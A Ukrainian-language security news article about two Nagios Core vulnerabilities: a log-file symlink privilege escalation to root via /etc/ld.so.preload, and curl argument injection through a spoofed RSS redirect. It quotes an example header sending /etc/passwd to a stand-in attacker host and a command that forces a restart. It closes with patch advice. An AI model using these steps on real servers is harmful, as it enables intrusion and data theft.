Уразливість в системі моніторингу Nagios дозволяє здійснювати підвищення привілеїв



Дослідник з інформаційної безпеки Девід Голунски (Dawid Golunski) обнаружил серйозну уразливість в популярній системі моніторингу ІТ-інфраструктури Nagios. Її експлуатація дозволяє зловмисникові домогтися підвищення привілеїв в системі.

У чому проблема
Демон Nagios Core версій нижче 4.2.4 здійснює небезпечні операції при обробці лог-файлу. Це може призвести до того, що атакувальний зможе підвищити свої привілеї з системного користувача 'nagios' у групі 'nagios' до root користувача. Це веде до повної компрометації системи, на якій встановлений софт для моніторингу інфраструктури.

Стандартна установка Nagios Core створює лог-директорію з наступними правами:

drwxrwsr-x 5 nagios nagios

Дослідник виявив, що демон Nagios при запуску системи спочатку відкриває лог-файл, а потім скидає root-права:

8148 open("/usr/local/nagios/var/nagios.log",
O_RDWR|O_CREAT|O_APPEND, 0666) = 4
8148 fcntl(4, F_SETFD, FD_CLOEXEC) = 0
8148 fchown(4, 1001, 1001) = 0
8148 getegid() = 0
8148 setgid(1001) = 0
8148 geteuid() = 0
[...]

Це означає, що якщо атакуючому вдасться отримати доступ до облікового запису 'nagios' або іншого облікового запису з групи 'nagios', то він зможе замінити лог-файл симлинком на випадковий файл в системі. Таким чином можливо підвищення привілеїв до root — наприклад, з допомогою спеціально створеного файлу
/etc/ld.so.preload file
.

За замовчуванням він буде створений з наступними привілеями nagios:

-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload

Таким чином права на запис є у користувача nagios, але не у членів групи nagios. Проте існує спосіб отримати і права на запис для членів цієї групи — для цього зловмисникові потрібно експлуатувати вразливість CVE-2016-9565 і помилки в роботі модуля командного рядка Nagios (nagios.cmd).

Для того, щоб нові привілеї набрали сили, необхідно перезавантажити Nagios — і зловмисник може також спровокувати дію. Для цього через командний інтерфейс системи необхідно відправити команду SHUTDOWN_PROGRAM

/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd

Девід Голунски також розробив PoC-експлоїт, що дозволяє підвищити привілеї в системі до суперкористувача.

CVE-2016-9565
У версії Nagios 4.2.0 була виправлена уразливість CVE-2008-4796 в компоненті MagpieRSS, що дозволяє вставляти довільні команди в якості параметрів команди curl. Однак цей фікс залишився вразливим до використання подвійних лапок — ця нова уразливість отримала номер CVE-2016-9565 і була остаточно виправлена тільки у версії 4.2.2.

Експлуатація уразливості полягає в зміні внутрішньої змінної $URI в функції _httpsrequest вразливою компоненти при запиті RSS-стрічки локальним сервером Nagios Core. У різних версіях системи RSS стрічка може подгружаться автоматично при логіні. Для проведення атаки, атакуючий повинен видати себе за сервер www.nagios.org, наприклад, використовуючи техніки DNS spoofing або ARP poisoning. Варто зауважити, що ця атака може придбати величезні масштаби при компрометації цього домену в масштабах великих ISP DNS резолверов. Потім, після успішного компрометації, зловмисник чекає запиту RSS стрічки і відповідає HTTP 302 Redirect, з полем Location, що містить параметри для curl. Наприклад, це може виглядати так:

Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd

Таким чином, зловмисник може виконати довільні команди на локальному сервері Nagios, а потім, скористатися уразливістю CVE-2016-9566 для підвищення локальних привілеїв.

Важливо відмітити те, що серед параметрів для curl згадується аргумент "-k", який відключає перевірку SSL сертифікату, що також полегшує завдання зловмисника.

Як захиститися
Виправлення вразливостей CVE-2016-9565 і CVE-2016-9566 з'явилися у версіях 4.2.2 і 4.2.4 відповідно, тому адміністраторів серверів Nagios настійно рекомендується оновитися до останньої версії Nagios.

Експерти Positive Technologies розробили IDS сигнатуру для виявлення спроб експлуатації вразливостей CVE-2008-4796 і CVE-2016-9565, доступну публічно на GitHub і Twitter:
#Nagios Core Curl Command Injection / #RCE
CVE-2016-9565
Affected: < 4.2.2#Suricata rules: https://t.co/vkidBDy3cN  Attack Detection (@AttackDetection) 20 грудня 2016 р.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.